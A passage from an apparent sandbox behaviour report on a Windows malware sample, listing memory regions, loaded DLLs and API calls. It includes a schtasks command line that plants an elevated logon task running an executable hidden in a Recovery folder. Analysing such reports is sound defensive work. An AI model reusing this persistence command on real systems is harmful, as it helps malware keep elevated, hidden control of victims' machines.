"\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4801 start_va = 0x490000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 4802 start_va = 0x490000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 4803 start_va = 0x5b0000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 5282 start_va = 0x7fef8bb0000 end_va = 0x7fef8c58fff monitored = 1 entry_point = 0x7fef8bb1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 5283 start_va = 0x7fef9dd0000 end_va = 0x7fef9dd2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 5284 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5416 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5417 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5418 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5419 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5420 start_va = 0xd0000 end_va = 0xf8fff monitored = 0 entry_point = 0xd1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5421 start_va = 0x5c0000 end_va = 0x747fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 5422 start_va = 0xd0000 end_va = 0xf8fff monitored = 0 entry_point = 0xd1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5423 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5424 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5425 start_va = 0x750000 end_va = 0x8d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000750000" filename = "" Region: id = 5426 start_va = 0xca0000 end_va = 0x209ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ca0000" filename = "" Region: id = 5427 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 5428 start_va = 0x50000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 5429 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 5430 start_va = 0x8e0000 end_va = 0x9affff monitored = 1 entry_point = 0x9ad67e region_type = mapped_file name = "but inside save.exe" filename = "\\Boot\\ru-RU\\but inside save.exe" (normalized: "c:\\boot\\ru-ru\\but inside save.exe") Region: id = 5431 start_va = 0x8e0000 end_va = 0x9affff monitored = 1 entry_point = 0x9ad67e region_type = mapped_file name = "but inside save.exe" filename = "\\Boot\\ru-RU\\but inside save.exe" (normalized: "c:\\boot\\ru-ru\\but inside save.exe") Region: id = 5432 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 5433 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5434 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5435 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5548 start_va = 0x7fef9f10000 end_va = 0x7fef9f25fff monitored = 0 entry_point = 0x7fef9f1c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 5549 start_va = 0x7fef9e50000 end_va = 0x7fef9f0cfff monitored = 0 entry_point = 0x7fef9ed7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 5550 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 5551 start_va = 0xf0000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 5649 start_va = 0x100000 end_va = 0x10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 5650 start_va = 0x7fe90810000 end_va = 0x7fe9081ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90810000" filename = "" Region: id = 5651 start_va = 0x7fe90820000 end_va = 0x7fe9082ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90820000" filename = "" Region: id = 5652 start_va = 0x7fe90830000 end_va = 0x7fe908bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90830000" filename = "" Region: id = 5653 start_va = 0x7fe908c0000 end_va = 0x7fe9092ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe908c0000" filename = "" Region: id = 5654 start_va = 0x110000 end_va = 0x110fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 5655 start_va = 0x390000 end_va = 0x390fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 5656 start_va = 0x410000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 5657 start_va = 0x8e0000 end_va = 0x9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 5658 start_va = 0x9b0000 end_va = 0xb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 5659 start_va = 0x2120000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002120000" filename = "" Region: id = 5660 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 5661 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 5662 start_va = 0x2220000 end_va = 0x1a21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 5773 start_va = 0x1a220000 end_va = 0x1a59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a220000" filename = "" Region: id = 5774 start_va = 0x9b0000 end_va = 0xab0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 5775 start_va = 0xaf0000 end_va = 0xb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 5776 start_va = 0x1a5f0000 end_va = 0x1a6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a5f0000" filename = "" Region: id = 5777 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 5888 start_va = 0x1a6f0000 end_va = 0x1a7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a6f0000" filename = "" Region: id = 5889 start_va = 0x1a800000 end_va = 0x1a8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a800000" filename = "" Region: id = 5890 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 6042 start_va = 0x1a900000 end_va = 0x1abcefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 6262 start_va = 0x7feee870000 end_va = 0x7feefe6cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 6305 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6306 start_va = 0x20a0000 end_va = 0x211cfff monitored = 0 entry_point = 0x20acec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6307 start_va = 0x20a0000 end_va = 0x211cfff monitored = 0 entry_point = 0x20acec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6308 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 6309 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 6310 start_va = 0x1abd0000 end_va = 0x1ac6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abd0000" filename = "" Region: id = 6311 start_va = 0x1ac70000 end_va = 0x1ad4efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ac70000" filename = "" Region: id = 6312 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 6313 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 6314 start_va = 0x7fe90930000 end_va = 0x7fe909affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90930000" filename = "" Region: id = 6382 start_va = 0x7fe909b0000 end_va = 0x7fe909bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe909b0000" filename = "" Region: id = 6383 start_va = 0x7fe909c0000 end_va = 0x7fe909cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe909c0000" filename = "" Region: id = 6430 start_va = 0x7fef69b0000 end_va = 0x7fef69b2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 6431 start_va = 0x7fef3210000 end_va = 0x7fef335efff monitored = 1 entry_point = 0x7fef3211090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 6432 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 6466 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 6467 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 6468 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 6474 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 6475 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 6476 start_va = 0x3c0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Thread: id = 183 os_tid = 0xc14 [0188.553] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 Thread: id = 242 os_tid = 0xab4 Thread: id = 252 os_tid = 0x240 [0188.573] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 261 os_tid = 0xc28 Process: id = "37" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x406e4000" os_pid = "0xc04" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"absolutetelnet\" /sc ONLOGON /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3221 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3222 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3223 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3224 start_va = 0x80000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 3225 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3226 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3227 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3228 start_va = 0xfff90000 end_va = 0xfffd7fff monitored = 1 entry_point = 0xfffb966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3229 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3230 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3231 start_va = 0x7fffffd9000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 3232 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3233 start_va = 0x100000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 3234 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3235 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3236 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3237 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3238 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3239 start_va = 0x100000 end_va = 0x166fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3240 start_va = 0x2a0000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 3241 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3242 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3243 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3244 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3245 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3246 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3247 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3248 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3249 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3250 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 3251 start_va = 0x170000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 3252 start_va = 0x3a0000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 3254 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3255 start_va = 0x4a0000 end_va = 0x627fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004a0000" filename = "" Region: id = 3256 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3257 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3258 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3259 start_va = 0x630000 end_va = 0x7b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000630000" filename = "" Region: id = 3260 start_va = 0x7c0000 end_va = 0x1bbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007c0000" filename = "" Region: id = 3261 start_va = 0x50000 end_va = 0x61fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3263 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3264 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 3265 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3266 start_va = 0x1bc0000 end_va = 0x1e8efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3268 start_va = 0x1c0000 end_va = 0x23cfff monitored = 0 entry_point = 0x1ccec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3269 start_va = 0x1c0000 end_va = 0x23cfff monitored = 0 entry_point = 0x1ccec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3270 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3271 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3272 start_va = 0x1e90000 end_va = 0x203ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e90000" filename = "" Region: id = 3275 start_va = 0x1c0000 end_va = 0x29efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 3276 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3278 start_va = 0x1ee0000 end_va = 0x1f5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ee0000" filename = "" Region: id = 3279 start_va = 0x1fc0000 end_va = 0x203ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fc0000" filename = "" Region: id = 3280 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3285 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3286 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 3287 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 3288 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3289 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 3290 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3291 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3295 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 160 os_tid = 0x158 [0145.793] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xff940 | out: lpSystemTimeAsFileTime=0xff940*(dwLowDateTime=0x24d4cca0, dwHighDateTime=0x1d8a92a)) [0145.793] GetCurrentProcessId () returned 0xc04 [0145.793] GetCurrentThreadId () returned 0x158 [0145.793] GetTickCount () returned 